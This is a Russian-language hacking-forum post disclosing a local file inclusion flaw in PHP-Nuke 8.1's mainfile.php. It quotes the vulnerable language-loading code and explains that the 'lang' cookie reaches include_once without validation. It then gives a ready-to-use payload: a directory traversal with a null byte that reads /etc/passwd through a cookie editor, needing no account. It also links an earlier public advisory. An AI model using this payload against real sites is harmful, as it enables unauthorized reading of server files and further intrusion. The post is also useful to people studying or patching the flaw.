Показать сообщение отдельно
Старый 31.07.2010, 17:08   #14
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

PHP-Nuke 8.1 FINAL Released(Локальный инклуд)

Требуется:
Мейджик квотс = офф

Файл: /mainfile.php

PHP код:
if (!defined('FORUM_ADMIN')) { 
    if ((isset(
$newlang)) AND (stristr($newlang,"."))) { 
        if (
file_exists("language/lang-".$newlang.".php")) { 
            
setcookie("lang",$newlang,time()+31536000); 
            include_once(
"language/lang-".$newlang.".php"); 
            
$currentlang $newlang
        } else { 
            
setcookie("lang",$language,time()+31536000); 
            include_once(
"language/lang-".$language.".php"); 
            
$currentlang $language
        } 
    } elseif (isset(
$lang)) { 
        include_once(
"language/lang-".$lang.".php"); 
        
$currentlang $lang
    } else { 
        
setcookie("lang",$language,time()+31536000); 
        include_once(
"language/lang-".$language.".php"); 
        
$currentlang $language
    } 

параметр $lang берется из кукисов, конкретно lang, слешируется для скульзапросов, но никак не проверяется на LFI, любым редактором кукисов вписываем вместо текущего языка:

../../../../../../../../../../../etc/passwd%00 и у нас LFI (не надо даже быть зарегенным юзером)

PS: упс, оказывается уже копали до меня(

Код:
http://www.securityfocus.com/archive/1/462443
но в итоге актуально и для этой версии нюка

Последний раз редактировалось Pashkela; 31.07.2010 в 17:25..
Pashkela вне форума   Ответить с цитированием